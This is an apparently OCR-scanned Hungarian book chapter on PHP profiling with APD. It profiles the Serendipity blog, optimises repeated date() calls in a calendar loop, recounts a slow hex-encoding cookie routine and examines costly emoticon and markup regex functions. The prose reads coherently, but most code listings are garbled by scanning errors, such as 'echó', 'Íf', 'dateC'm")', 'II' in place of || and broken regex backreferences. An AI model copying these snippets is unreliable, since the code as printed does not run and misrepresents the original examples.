Egy nyomkövetési példa
Próbáljuk most ki, milyen eredményeket várhatunk az APD-től - állatorvosi lovunk legyen az alábbi program: <?php apd_set_pprof_trace(); hello("George") ; goodbye("George") ; function hello($name) { echó "Hello $name\n"; sleep(1) ;
}

470

PHP fejlesztés felsőfokon

function goodbye($name)
{

echó "Goodbye $name\n";
} ?>

A 18.1. ábrán láthatjuk, milyen eredményt kapunk, ha a profilkészítést az -r kapcsolóval futtatjuk. Az eredmények persze nem meglepőek: a sleep (1) ; például nagyjából 1 másodpercig tart. (Valójában egy kissé tovább, ami jellemző számos nyelv sleep függvényére - ha igazán pontos eredményre van szükségünk, használjuk a usleep () függvényt). A hello () és a goodbye () egyaránt igen gyors. Mindkét függvényt egyszer hajtottuk végre, és a program futásának teljes ideje 1,0214 másodperc.

18.1. ábra A profilkészítés eredménye egy egyszerű program esetében. A teljes hívási fa megjelenítéséhez a -Tcm kapcsolót használhatjuk. Ezzel egy teljes hívási fát kapunk, összesített időkkel, valamint a hívásoknál fájl- és sorpozíciókkal. A 18.2. ábrán az így kapott kimenetet láthatjuk. Figyeljük meg, hogy a hívási fában a sleep behúzott, mivel a hello () gyermekhívása.

18. fejezet • Profilkészítés

471

18.2. ábra

Egy egyszerű program hívási fája.

Egy nagyobb alkalmazás profiljának elkészítése
Most, hogy megismertük az APD használatának alapjait, próbáljuk meg egy nagyobb projektre alkalmazni. A Serendipity, ez a teljes mértékben PHP-ben írt, nyílt forrású webnaplózó program éppen megfelel erre a célra. Jóllehet leginkább egyedi webnaplók készítésére használják, eredetileg nagy, többfelhasználós környezetekre tervezték, korlátlan számú szerzővel. Számunkra a Serendipity nagyszerű kiindulópont egy olyan közösségi webhely vizsgálata felé, amely webnaplózást tesz lehetővé a felhasználók számára. Lehetőségeihez mérten a program képes megfelelni az ilyen nagyléptékű környezetek igényeinek, de először meg kell vizsgálnunk a kódot, hogy valóban jó méretezhetőségi jellemzőkkel rendelkezik-e. Ezt az elemzést a leghatékonyabban egy profilkészítő segítségével végezhetjük el. A profilkészítő segédeszközök egyik legnagyszerűbb tulajdonsága, hogy jó betekintést adnak olyan kódokba is, melyek teljességgel ismeretlenek számunkra. A szűk keresztmetszetek azonosításával és a megfelelő kódrészletek felkutatásával az APD lehetővé teszi, hogy késlekedés nélkül a kényes helyzetekkel kezdhessünk foglalkozni.

472

PHP fejlesztés felsőfokon Érdemes először a webnapló kezdőoldalára sort keríteni. Ennek érdekében az index. php elejét egy nyomkövető kóddal egészítjük ki. Mivel mindeközben a webnaplót használják, nem követhetünk nyomon minden oldalelérést, így be kell burkolnunk a profilkészítő hívást, hogy csak akkor induljon el, amikor a PR0FILE=1 paramétert is átadjuk az URL sorában: <?php Íf($_GET['PROFILÉ'] = = 1 ) { apd_set_pprof_trace(); } /* ... itt kezdődik a Serendipity eredeti kódja ...

*/

A 18.1. ábrán láthatjuk a profilkészítőnek a kezdőlapra vonatkozó eredményeit, valós, hívásokkal együtt számított idejük szerint rendezve (az -R kapcsolóval). Jómagam szeretem az elemzést az -R kapcsolóval kezdeni, mert az így kapott eredmény rávilágít arra, mely nagyléptékű műveletek lassultak le. Mivel ilyenkor a függvények gyermekhívásainak ideje is beleszámít a kapott eredménybe, az előkelő helyeken leginkább „felső szintű" függvényeket találunk. Az oldalon mért teljes idő 1,1231 másodperc volt, ami nem rossz, ha saját webhelyünkről van szó, de túl lassú lehet, ha a Serendipity-t egy nagyobb felhasználói bázisú vagy nagy forgalmú webhelyen kívánjuk használni. Az időfelhasználási verseny első helyezettje az include_once (), ami egyébként nem szokatlan nagyobb alkalmazásoknál, melyek jelentős része beemelt fájlokban található. Figyeljük meg azt is, hogy az include_once () nem csak a hívásokkal együtt mért listában vezet, hanem a hívások nélküliben is. Ezt láthatjuk a 18.4. ábrán, ahol a pprofp -r futtatás eredményét tüntettük fel - az include_once () a teljes futásidő 29,7%-át veszi el gyermekhívások nélkül.

18.3. ábra A Serendipity kezdőlapjának első profilkészítési eredményei.

18. fejezet • Profilkészítés

473

18.4. ábra

A Serendipity kezdőlapjának hívásai, a gyermekhívások figyelembe vétele nélkül. Amit itt látunk, az a Serendipity beemelt fájljainak fordítási költsége. Emlékezzünk vissza a 9. fejezetre, ahol megtanultuk, hogy a PHP programok futtatásánál felmerülő egyik legnagyobb költséget értelmezésük és köztes kódba fordításuk jelenti. Mivel a beemelt fájlok értelmezése és végrehajtása futásidőben történik, ezt a költséget azonnal láthatjuk a 18.4. ábra adatain. Ezt a többletterhet jelentősen csökkenthetjük, ha fordítói gyorstárat alkalmazunk. A 18.5. ábrán láthatjuk az eredményeket az APC telepítése és a profilok futtatása után. Az include_once () továbbra is vezet a hívásokkal együtt mért idők versenyében (ami rendben van, hiszen ez tartalmazza az oldal kódjának jelentős részét), de a hívások nélküli idők között már nincs benne az első ötben. Mindemellett a program futásideje csaknem a felére esett vissza.

18.5. ábra

A Serendipity kezdőlapjának profilja az APC fordítói gyorstár használata mellett.

474

PHP fejlesztés felsőfokon

Ha a bennmaradó hívásokat tekintjük, láthatjuk a három legnagyobb „időrablót": • serendipity_plugin_api::generate_plugins • serendipity_db_query • mysql_db_query Azt vártuk volna, hogy az adatbázis-lekérdezések lassúak lesznek. Nos, általában ez a helyzet - ezek a lekérdezések gyakran vezetnek adattorlódásokhoz. Felderítésükről és javításukról már szóltunk a 12. fejezetben, így most nem bocsátkozunk a részletekbe. Amint a korábbiakban már előrevetítettük, az adatbázis-lekérdezések magas időfelhasználását nem a felhasználói kód vagy a rendszer lassúsága okozza, mivel a velük töltött időt gyakorlatilag az adatbázis-kiszolgálóra való várakozás teszi ki. A generate_plugins () egészen más történet. A Serendipity lehetővé teszi, hogy saját felhasználói bővítményeket alkalmazzunk az oldalsó böngészősáv elemeiként, és néhány gyári lehetőséggel is szolgál, mint a naptár, a hivatkozáskövető, valamint az archívumbeli keresés. Nem tűnik úgy, mintha itt olyan nagy költségek merülnének fel. A további vizsgálat érdekében elkészíthetjük a teljes hívási fát az alábbi utasítással: > pprofp -tcm /tmp/pprof. 28986 A 18.6. ábra a fa azon részét mutatja, amely a serendipity_plugin_api : : generate_plugins () első hívását részletezi. Az első nagyjából 20 sorban rendes, bevezető műveleteket találunk, egy adatbázis-lekérdezést (a serendipity_db_query () függvénnyel) és néhány karakterláncműveletet - semmi különös. Az oldal felénél azonban, a serendipity_drawcalendar () függvényben a hívások kezdenek gyanút kelteni. Az mktime () és a date () ismétlődő hívása nem ébreszt jó érzéseket az emberben. Végeredményben a program 217 alkalommal hívja meg a date () -et ebben a függvényben. Ha visszatekintünk a 18.5. ábrára, a hívások nélküli nyomkövetés adatain láthatjuk, hogy a program összesen 240-szer hívta meg a date () -et, ami így a program teljes futási idejének 14,8%-át foglalta le - tehát van mit javítani.

18. fejezet • Profilkészítés

475

18.6. ábra

A Serendipity kezdőlapjának hívási fája. Szerencsére a hívási fa pontosan megmutatja, hol kell körülnéznünk: a serendipity_functions. inc .php 245-261. soraiban. íme a „bűnös" kód:
227 print ("<TR CLASS='serendipity_calendar'>") ; 228 for ($y=0; $y<7; $y++) { 229 // némi kód a szegélyek tetszetős kiírására 230 $cellProp = ""; 231 if ($y==0) $cellProp = "FirstlnRow"; 232 if ($y==6) $cellProp = "LastlnRow"; 233 if ($x==4) $cellProp = "LastRow"; 234 if ($x==4 && $y==6) $cellProp = "LastlnLastRow" ; 235 236 // a kiírás kezdete 237 if (($x>0 II $y>=$firstDayWeekDay) && $currDay<=$nrOfDays) { 238 if ($activeDays[$currDay] > 1) $cellProp.='Active'; 239 print("<TD CLASS='serendipity_calendarDay$cellProp'>"); 240 241 // nap kiírása 242 if ($serendipity["rewrite"]==true) 243 $link = $serendipity["serendipityHTTPPath"]."archives/". 244 date("Ymd", mktime(0,0,0, $month, $currDay, $year)).
245 ".html";

246

else

476

PHP fejlesztés felsőfokon

247 $link = $serendipity["serendipityHTTPPath"];; 248 if (dateC'm") == $month && 249 dateC'Y") == $year && 250 date("j") == currDay) { 251 echó "<I>"; 252 } 253 if ($activeDays[$currDay] > 1) { 254 print ("<A HREF='$link'>"); 255 } 256 print ($currDay); 257 if ($activeDays[$currDay] > 1) print ("</A>"); 258 if (date("m") == $month && 259 dateC'Y") == $year && 260 date("j") == $currDay) { echó "</l>"; 261 262 } 263 print("</TD>") ; $currDay++; 264 } 265 else { 266 267 print "<TD CLASS='serendipity_calendarBlankDay$cellProp'>"; 268 print "&nbsp;</TD>"; 269 } 270 } 271 print ("</TR>");

Ez a serendipity_drawcalendar () függvény része, ami a naptárat írja ki a böngésző sávra. Ha megfigyeljük a 244. sort, láthatjuk, hogy a date () hívás függ a $month, a $ currDay és a $year értékektől. A $ currDay minden lépésben növekszik, így ezt a hívást nyilván nem hagyhatjuk el, viszont kicserélhetjük: date("Ymd", mktime(0,0,0, $month, $currDay, $year))

A fenti sor egy dátumkarakterláncot készít a $month, a $ currDay és a $year értékekből. A date () és az mktime () függvények használata elkerülhető, ha magunk formázzuk ezt a karakterláncot: sprintf("%4d%02d%02d:, $year, $month, $currDay)

Mindemellett a 248-250. és a 258-260. sorbeli hívások nem függnek semmilyen változótól, így kitehetjük őket a ciklusból. Ha ezt megtesszük, a ciklus előtt ki kell számolnunk a megfelelő három változót:
227 $date_m = dateC'm"); 228 $date_Y = dateC'Y"); 22 9 $date_j = dateC'j");

18. fejezet • Profilkészítés

477

230 print ("<TR CLASS='serendipity_calendar'>"); 231 for ($y=0; $y<7; $y++) { 232 /* ... */

Ezután a 248-250. és a 258-260. sorok így festenek:
if ($date_m == $month && $date_Y == $year && $date_j == $currDay) {

Ezzel az egyszerű módosítással a date () hívások számát 240-ről 38-ra csökkentettük, ami a serendipity_plugin_api : : generate_plugins () sebességét több mint 20%kal növelte, a kezdőoldal elérési idejét pedig 10%-kal csökkentette. Nos, ahhoz képest, hogy mindössze 9 sort módosítottunk, és 15 percet töltöttünk a feladattal, ez egészen jó eredmény! Példánkat persze könnyen elkönyvelhetjük az egyszerű programozási hibák között. Egy változatlan függvényhívás beépítése egy ciklusba valóban gyakori hiba kezdő programozóknál, de jelentéktelen hibának tekinteni több okból sem szabad: • A tapasztalt programozók is követnek el ilyen hibákat, különösen nagy ciklusokban, ahol nehéz követni, hol módosulnak a változók. • Csoportos munkában gyakran fordulnak elő ilyen apró gondatlanságok. így például megeshet, hogy egy viszonylag egyszerű feladatot - ilyen egy naptár elkészítése is - egy fiatal, tapasztalatlan fejlesztőnek adnak ki, és a rendszeres programvizsgálat elsiklik az ilyesfajta hibák felett. • Az ilyen és ehhez hasonló gyenge pontokat szinte soha nem lehet megérzés alapján felfedezni. Ha messziről tekintünk a kódra, valószínűtlen, hogy a naptárra (ami nem igazán tartozik az alkalmazás lényegi elemei közé) gyanakodjunk. Mindazonáltal az ilyen apróságok veszteségei - 10% itt, 15% ott - hamar összeadódnak, és teljesítmény-érzékeny alkalmazásokban sok gondot okozhatnak.

Az általános gyengeségek felderítése
A profilkészítők a legjobb formájukat az általános gyengeségek felderítésénél hozzák. Ilyen lehet például, ha a program ismétlődően meghív egy költséges felhasználói függvényt, miközben egy beépített is megtenné, vagy gyakran alkalmaz egy függvényt ciklusban, pedig egyetlen beépített függvénnyel is elvégezhetné az adott feladatot. Az eddigi elemzési módszertől eltérően, ahol a hívásokat is beszámítva értünk el hasznos eredményeket, az enyhe, de gyakran jelentkező gondokat hatékonyabban felderíthetjük, ha eltekintünk a belső hívásoktól.

478

PHP fejlesztés felsőfokon

Kedvenc esetem, amely jól példázza a helyzetet, még az APD születése idején történt meg. A cégnél, ahol akkoriban dolgoztam, volt néhány függvény, melyek arra szolgáltak, hogy bináris adatokat (főként kódolt felhasználói adatokat) „8 bit-biztossá" tegyék, és így alkalmassá váljanak sütibeli használatra. Minden kérelemnél, ami egy olyan oldalhoz érkezett, ahol szükség volt a tag azonosítójára és jelszavára, a felhasználó sütijét visszafejtettük, majd egyaránt alkalmaztuk hitelesítésre és felhasználói adatok tárolására. Mivel a felhasználói munkamenetek egy idő után elavultak, a süti tartalmazott egy időbélyeget, melyet minden kérelemnél visszaállítottunk annak biztosítékaként, hogy a munkamenet továbbra is érvényes legyen. A kódot már három éve használtuk - még a PHP3 idejében készítették, amikor az általános bináris adatok (például a null értéket tartalmazók) kezelése még nem volt megfelelő a sütikkel dolgozó PHP kódokban, és a rawurlencode sem volt még képes általános bináris adatok befogadására. A szóban forgó függvények valahogy így festettek: function hexencode($data) { $ascii = unpack("C*", $data); $retval = ' ' ;
foreach ($ascii as $v) { $retval .= sprintf("%02x", $v); >

return $retval;
}

function hexdecode($data) { $len = strlen($data); $retval = ' ' ; for ( $ i = 0 ; $i < $len; $i+= 2) $retval .= packC'C", hexdec ( substr($data, $i, 2) ) );
}

{

return $retval;
}

Kódoláskor a bináris adatok karakterláncait a program összetevő karaktereikre bontotta az unpack () függvénnyel. Ezután átalakította hexadecimális értékükre, majd újra összeállította a karakterláncot. A visszafejtés ugyanígy festett, csak fordítva. A függvények látszólag hatékonyak voltak -legalábbis a PHP lehetőségeihez mérten. Amikor azután tesztelni kezdtem az APD-t, meglepetésemre kiderült, hogy e két függvény felelős a webhely oldalai végrehajtási idejének csaknem 30%-áért. A gondot az okozta, hogy a felhasználók sütijei nem voltak kicsik - átlagosan 1 KB-osak - és egy ekkora töm-

18. fejezet • Profilkészítés

479

bön végighaladni és az elemeket egy karakterlánchoz csatolni meglehetősen lassú a PHPben. Mivel a függvények a PHP szempontjából mondhatni optimális alakúnak tekinthetők, nem volt sok választásunk: • Megkísérelhettük megoldani, hogy a süti tárolása a PHP-ben is eltűrje az általános bináris adatokat. • Használatba vehettünk egy beépített függvényt, ami a keresetthez hasonló eredményt ad (ilyen például a base64_encode ()). Végül az első mellett döntöttünk, és ennek eredményeképpen a PHP jelenlegi változatai már az általános bináris adatokkal is megbirkózó sütikezelést alkalmaznak. Mindazonáltal a második megoldás is éppen ilyen jó lett volna. Egy apró javítás jelentős gyorsulást hozhat - esetünkben ez nem csak egyetlen program sebességét növelte meg, hanem 30%-os kapacitásbővülést eredményezett az egész alkalmazásban. Mint minden olyan technikai problémánál, melyre létezik egyszerű megoldás, felmerül a kérdés: hogyan történhetett meg mindez? A válasz összetett, és mégis egyszerű - ez az oka annak, hogy a nagy forgalmú webhelyek profilját rendszeresen el kell készítenünk: • Megváltoztak az adatok. - Amikor a kód készült (évekkel korábban), a felhasználói sütik kisebbek voltak (méretük nem érte el a 100 bájtot), így a terhelés sem volt ekkora. • A hiba nem járt komoly következményekkel. - Egy hosszú folyamatban kialakuló 30%-os lassulás természetétől fogva nehezen követhető. A 100 ms és a 130 ms közti különbség túl kicsi az emberi érzékszervek számára. Ha a gépek jóval teljesítőképességük alatt vannak kihasználva (márpedig sok projektnél ez a helyzet), a lelassulások még összeadódva sem hátráltatják a forgalmat. • Eredetileg is elég hatékonynak tűnt - a kódolófüggvények hatékonyak -, legalábbis a PHP lehetőségeihez mérten. Ráadásul, tudva azt, hogy több mint 2000 beépített függvény létezik a PHP-ben, nem olyan nagy dolog, ha valaki nem akad rá a base64_encode () -ra, amikor beépített hexadecimális kódolót keres. • Az alkalmazás kódja túl nagy volt. - Csaknem egymillió sornyi PHP kódot személyesen átvizsgálni lehetetlen. Ráadásul, mivel a hexencode nem a PHP beépített függvénye, még a programozási környezetet is ismerni kell ahhoz, hogy tudhassuk, a base64_encode () ugyanarra képes. Profilkészítő nélkül ez a hiba biztosan nem került volna felszínre. A kód túl régi volt már, és túl mélyen volt elásva ahhoz, hogy valaha is felfedezzék egyszerű módszerekkel.

480

PHP fejlesztés felsőfokon

Megjegyzés

Van ennek a sütihasználati módnak még egy gyenge pontja. Ha a felhasználó sütijét minden eléréskor visszaállítjuk, ezzel azt biztosíthatjuk, hogy a munkamenet 15 perc elteltével avul el. Ehhez azonban szükség van a süti újrakódolására és visszaállítására minden eléréskor. Ha az elavulás idejét egy véletlenszerű, 15 és 20 perc közti értékben határozzuk meg, akkor elég lesz olyankor visszaállítani a sütít, ha már legalább 5 perce megszületett. Ez szintén jelentős sebességnövekedést eredményezhet.

A felesleges szolgáltatások eltávolítása
Miután azonosítottunk és megszüntettünk minden olyan nyilvánvaló szűk keresztmetszetet, melynek módosítása nem járt lényegi változásokkal, az APD segítségével azokat a lehetőségeket is kigyűjthetjük, melyek természetüknél fogva költségesek. A program ilyen lefaragása gyakoribb az alkalmazott projektekben (például olyankor, amikor egy szabad webnaplót vagy webes levelezőrendszert építünk egy nagyobb programba), mint otthoni fejlesztéseknél - jóllehet ott is előfordulhat (ha például új, nagyobb adatforgalmat lebonyolító szerepet szánunk alkalmazásunknak). A lehetőségek megnyirbálásánál két utat követhetünk. Végighaladhatunk sorban egymás után a termék egyes lehetőségein, és kidobhatjuk azokat, amelyekre nincs szükségünk (ezt felülről lefelé irányuló módszernek szoktam hívni). A másik módszer, ha elkészítjük a kód profilját, azonosítjuk a költséges lehetőségeket, és ezek közül választjuk ki a kidobandókat (alulról felfelé irányuló módszer). A felülről lefelé irányuló módszernek van egy előnye: így biztosan kidobunk mindent, amire nincs szükségünk. Ugyanakkor az alulról felfelé irányuló módszer sem elvetendő: • Azonosít egyes lehetőségeket. Számos projektben vannak ugyanis olyan lehetőségek, melyekről egy szó sem esik a leírásban. • Némi rálátást ad arra, mely lehetőségek lehetnek hasznosak, és melyek feltétlenül szükségesek. • Adatokat szolgáltat a tisztogatás sorrendjének meghatározásához. Jómagam általában jobban kedvelem az alulról felfelé irányuló módszert, ha egy külső gyártó termékét elemzem, mielőtt élesben munkába állítanám - itt ugyanis nincs listám az eltávolítandó lehetőségekről, mindössze a kívánt szintre szeretném emelni a teljesítményt. Térjünk vissza a Serendipity példájához. A gyenge pontok keresését kezdhetjük a hívásokkal együtt mért idők alapján kapott sorrend vizsgálatával. A 18.7. ábrán egy új nyomkövetés eredményét láthatjuk (a korábbi optimalizálások után), a hívások nélküli valós időtartamok alapján rendezve. E listán két igazán kiugró eredményt láthatunk: a def ine () függvényt és a preg_replace () hívásokat.

18. fejezet • Profilkészítés

481

18.7. ábra Profilunk az optimalizálás után. Általában nem tartom bölcs dolognak, hogy véleményt mondjak a def ine () hatékonyságáról. Használatának alternatívája ugyanis egy globális változó alkalmazása. Ezek deklarációi a nyelv részei (ellentétben a def ine () -nal, ami egy függvény), így az általuk a rendszerre rótt töbletteher nehezen mérhető az APD módszereivel. Az egyetlen megoldás, amit ajánlhatok, hogy tároljuk állandóinkat const osztályállandók alakjában. Ha fordítói gyorstárat használunk, az tárolja ezeket az osztály meghatározásával, így nem kell őket minden kérelemnél újra példányosítani. A preg_replace () hívások több figyelmet érdemelnek. A hívási fa használatával (így valóban találhatunk hívott preg_replace () példányokat) leszűkíthetjük az előfordulások többségét a következő függvényre: function serendipity_emoticate($str) global $serendipity; {

482

PHP fejlesztés felsőfokon

foreach ($serendipity["smiles"] as $key => $value) { $str = preg_replace("/([\t\ ]?)".preg_quote($key,"/"). "([\t\ \!\.\)]?)/m", "$l<img src=\"$value\" />$2", $str); } return $str; } Itt a serendipity [ ' smiles ' ] meghatározása a következő: $serendipity["smiles"] = arrayt":' (" => $serendipity["serendipityHTTPPath"]."pixel/cry_smile.gif", ":-)" => $serendipity["serendipityHTTPPath"]."pixel/regular_smile.gif", ":-0" => $serendipity["serendipityHTTPPath"]."pixel/embaressed_smile.gif", ":0" => $serendipity["serendipityHTTPPath"]."pixel/embaressed_smile.gif", ":-(" => $serendipity["serendipityHTTPPath"]."pixel/sad_smile.gif", ":(" => $serendipity["serendipityHTTPPath"]."pixel/sad_smile.gif", ":)" => $serendipity["serendipityHTTPPath"]."pixel/regular_smile.gif", "8-) " => $serendipity["serendipityHTTPPath"]."pixel/shades_smile.gif", ":-D" => $serendipity["serendipityHTTPPath"]."pixel/teeth_smile.gif", ":D" => $serendipity["serendipityHTTPPath"]."pixel/teeth_smile.gif", "8)" => $serendipity["serendipityHTTPPath"]."pixel/shades_smile.gif", ":-P" => $serendipity["serendipityHTTPPath"]."pixel/tounge_smile.gif", ";-)" => $serendipity["serendipityHTTPPath"]."pixel/wink_smile.gif", "; ) " => $serendipity["serendipityHTTPPath"]."pixel/wink_smile.gif", ":P" => $serendipity["serendipityHTTPPath"]."pixel/tounge_smile.gif", ); És íme a függvény, amely valójában alkalmazza a jelöléseket, képeket helyettesítve az emotikonok helyébe, és más rövid jelek alkalmazását is lehetővé téve: function serendipity_markup_text($str, $entry_id = 0) { global $serendipity; $ret = $str; $ret $ret $ret $ret = = = = str_replace('\_', chr(l), $ret); preg_replace('/#([[:alnum:]]+?)#/','&\1;',$ret); preg_replace('/\b_([\S ]+?)_\b/','<u>\l</u>',$ret); str_replace(chr(1), '\_', $ret);

// félkövér $ret = str_replace('\*',chr(1),$ret); $ret = str_replace('**',chr(2) , $ret) ; $ret = preg_replace('/(\S)\*(\S)/ ' , '\1' . chr(l) . '\2',$ret); $ret = preg_replace('/\B\*(["*]+)\*\B/', '<strong>\l</strong>',$ret) ; $ret = str_replace(chr(2),'**',$ret); $ret = str_replace(chr(1),'\*',$ret);

18. fejezet • Profilkészítés

483

// rögzített szélességű betűk $ret = str_replace('\%',chr(l),$ret); $ret = preg_replace_callback('/%([\S ]+?)%/', 1serendipity_format_tt', $ret); $ret = str_replace(chr(l),'%',$ret) ; $ret = preg_replace('Al([0-9a-fA-F]+?)\l([\S ]+?)\l/', '<font color="\l">\2</font>',$ret); $ret = preg_replace('/\A([[:alnum:]]+?)W','<sup>\l</sup>',$ret); $ret = preg_replace ( ' A@( [ [ :alnum: ] ]+?) \@/ ' , '<sub>\l</sub>' , $ret) ; $ret = preg_replace('/([\\\]) ([*#_r@%])/\ ' \2 ' , $ret) ; if ($serendipity['track_exits']) { $serendipity['encodeExitsCallback_entry_id'] = $entry_id; $ret = preg_replace_callback( "#<a href=(\"I')http://([A"']+)(\"l')#im",

'serendipity_encodeExitsCallback', $ret
);
}

return $ret;
}

Az első függvény, a serendipity_emoticate () végighalad egy karakterláncon, és kicserél minden emotikont - például a mosolygós arc :) jelét - egy képhivatkozásra. Mindez értelemszerűen arra szolgál, hogy a webnapló alkalmazás kicsinosíthassa a felhasználók bejegyzéseit. Ez a bejegyzések megjelenítésekor történik, ami lehetővé teszi a felhasználók számára, hogy utólag megváltoztathassák webnaplójuk megjelenését (beleértve az emotikonokat is) úgy, hogy ne kelljen kézzel átszerkeszteniük az összes bejegyzést. Mivel 15 alapértelmezett emotikon létezik, a rendszer 15-ször futtatja a preg_replace () -t minden webnaplóbejegyzés megjelenítésénél. A második, serendipity_markup_text () nevű függvény bizonyos szövegformázási lehetőségeket valósít meg. Vegyük például az alábbi szöveget: *hello* Ennek helyébe ez kerül:
<strong>hello</strong>

484

PHP fejlesztés felsőfokon

Más, hasonló helyettesítésekre is sor kerül. A módosításokat a rendszer itt is a megjelenítéskor hajtja végre, így visszamenőlegesen is át lehet alakítani a bejegyzéseket. Ez a függvény kilencszer hívja meg a preg_replace () -t és nyolcszor az str_replace () -t minden egyes bejegyzésnél. Ezek valóban csodás lehetőségek, de igen költségessé válnak a forgalom növekedésével. Egyetlen rövid bejegyzésnél is ezek a függvények teszik ki a program futásidejének csaknem 15%-át. Saját webnaplómon már annyit bütyköltem, hogy így is többre képes, mint amennyire valaha is szükség lesz. Ha azonban ezt olyan felhasználók kezébe adjuk, akik egy nagy forgalmú webhelyen tevékenykednek, a többletteher eltávolítása létfontosságú lehet. E hívások hatásának kivédésére két lehetőségünk van. Először is, egyszerűen eltávolíthatjuk a hívásokat. Az emotikonok kezelésére alkalmazhatunk egy JavaScriptben írt szerkesztőt, amely lehetővé teszi, hogy a felhasználók egy menüből válasszák ki a kívánt képeket. A szövegformázási lehetőségek helyett megkövetelhetjük, hogy a felhasználók maguk alkalmazzanak HTML jelöléseket. Másodszor, megtarthatjuk mindkét lehetőséget, ha előrehozzuk alkalmazásukat a bejegyzések mentésének idejére - így csak itt jelentkezik a többletteher. Mindkét módszernél elesünk a korábbi bejegyzések automatikus átalakításának lehetőségétől, így csak akkor szánjuk rá magunkat ilyen lépésekre, ha erre valóban szükség van.

Egy harmadik módszer a költséges jelölések kezelésére

Dolgoztam egyszer egy webhelyen, ahol egy szabályos kifejezésekből álló könyvtárat használtak a trágárságok és a rosszindulatú JavaScript, illetve CSS kódok kiszűrésére a felhasználók által feltöltött tartalomból (a helyközi támadások kivédésére). Mivel a felhasználók igen leleményesnek mutatkoztak a káromkodások terén, a trágárságok listája folyamatosan bővült, ahogy a fenntartók ismerkedtek az egyre újabb és szokatlanabb kifejezésekkel. A webhely forgalma igen nagy volt, ami azt jelentette, hogy a tisztogatási folyamat nem mehetett végbe rögtön a kérelmek fogadásánál (egyszerűen túl költséges volt), de a trágárságok listájának dinamikus jellege megkövetelte, hogy új szűrési szabályokat alkalmazhassunk meglevő bejegyzésekre is. Sajnálatos módon a felhasználók túl sokan voltak ahhoz, hogy ezt a szűrőt minden bejegyzésre alkalmazzuk. Az általunk kitalált megoldás két tartalomtáblát és igény esetén alkalmazott gyorstárat használt. A mestertáblában a felhasználó bejegyzésének változatlan másolatát tároltuk. Amikor ezt először lekérték, alkalmaztuk rá az aktuális szűrőt, és az eredményt a gyorstártáblába helyeztük. A további kérelmek beérkezésekor a rendszer először a gyorstárban kereste a kért bejegyzést, és csak kudarc esetén fordult a mestertáblához az újratárolás érdekében. Ha a szűrő bővült, a rendszer kiürítette a gyorstárat, így az ezt követő új kérel-

18. fejezet • Profilkészítés

485

mek nyomán a bejegyzéseket újra a mestertáblában kellett először keresni, majd ezt követően átírni a gyorstártáblába. Ez a gyorstártábla egyébként különösebb nehézség nélkül felváltható egy hálózati fájlrendszerrel is. Ez a kétszintű módszer csaknem olyan jó eredményt adott, mint a feltöltéskor módosító megoldás. A szabályhalmaz frissítésekor tapasztalható volt egy jelentős megugrás az erőforrások használatában - ez volt annak az ára, hogy kérelmenkénti módosítással élhettünk. E módszer egyetlen hátulütője a korábbiakkal szemben a kétszeres tárigény (hiszen az eredeti és a gyorstárbeli példányokat külön kell választani), esetünkben azonban ez jócskán megérte.

További olvasmányok
Az igazat megvallva, a szakirodalom nem bővelkedik a PHP profilkészítés eszközeivel foglalkozó művekben. A fejezetünkben említett profilkészítők mindegyikének webhelyén találhatunk némi útmutatást a használatukkal kapcsolatban, de nem ismeretes átfogó tárgyalás a profilkészítés mesterségéről. A PHP szintű profilkészítők mellett létezik számos alacsonyabb szintű is, melyekkel a rendszer profilját elkészíthetjük. Ezek igen hasznosak lehetnek, ha a PHP nyelv teljesítményének növelése a célunk, de kevésbé jól használhatók egyes alkalmazások teljesítményének javításában. A gondot az jelenti, hogy igen nehéz közvetlenül összekötni az alacsonyabb szintű (motorbeli) C függvényhívásokat, vagy rendszermaghívásokat a PHP kódban végzett műveletekkel. Mindazonáltal lássunk néhány C-profilkészítési segédeszközt is: • A gprof, vagyis a GNU profilkészítője szinte minden rendszeren elérhető. Nagyszerűen határozza meg a C kód profilját, de esetenként nehéz értelmezni az eredményt. • A valgrind a hozzá tartozó kcachegrind grafikus felhasználói felülettel együtt jó memóriabeli hibakeresőt és profilkészítőt ad a Linux rendszerekhez. Ha Linuxon C-ben programozunk, mindenképpen tanuljuk meg a használatát. • Az ooprof ile egy magszintű profilkészítő Linux rendszerekhez. Amennyiben alacsonyszintű hibakeresést kell végeznünk, melyben egy alkalmazás rendszerhívásainak profilját kell elkészítenünk, az ooprof ile nagyszerű segítőtársnak bizonyulhat.

Szintetikus mérés: kódblokkok és függvények értékelése

A 18. fejezetben teljes alkalmazások teljesítményvizsgálatával foglalkoztunk. Ez igen hasznos módszer weboldalak összehasonlító elemzésére, a lassú oldalak felderítésére, és a hangolás eredményének ellenőrzésére. Hasonló módszerek használatosak a kódblokkok alábbihoz hasonló összevetésénél: • A while () vagy a f oreach () ciklus gyorsabb? • A karakterlánc elején található karakterek vizsgálatában a substr () vagy az strstr () gyorsabb? A válaszokat kereshetjük a hálózaton a PHP archívumokban, vagy utánanézhetünk egy könyvben (akár ebben is), de e módszerek egyike sem mondható igazán hatékonynak. A PHP egyik erőssége ugyanis éppen gyors fejlődésében áll. A ma létező teljesítménykülönbségek holnapra eltűnhetnek - és ilyen változások nem csak a főbb kiadásokban jelenhetnek meg, hiszen a PHP mögött álló nyílt forrású fejlesztési modell azt jelenti, hogy a gondok megoldásához csak annyi kell, hogy elég fejlesztőt érintsenek. Hamar lássunk is két példát az ilyen típusú változásokra: • A PHP 4.3-as változata előtt a változók beszúrása a karakterláncokba sokkal lassabban működött, mint a karakterláncok összefűzése. (Lásd később, a Beszúrás vagy összefűzés? címszónál.) • A beépített parse_url () függvény használata sokkal lassabb volt, mint ha az URL-eket saját kódunkban a preg_match segítségével értelmeztük. A 4.3-as változatban ez is megváltozott. (Lásd később, az Egyéb időmérési adatok címszónál.) Ha létfontosságú kódot hangolunk, mindig jobb, ha magunk végezzük el az összehasonlításokat, és választjuk ki a megfelelő kódhasználatot - ne hagyatkozzunk mások mérési eredményeire.

488

PHP fejlesztés felsőfokon

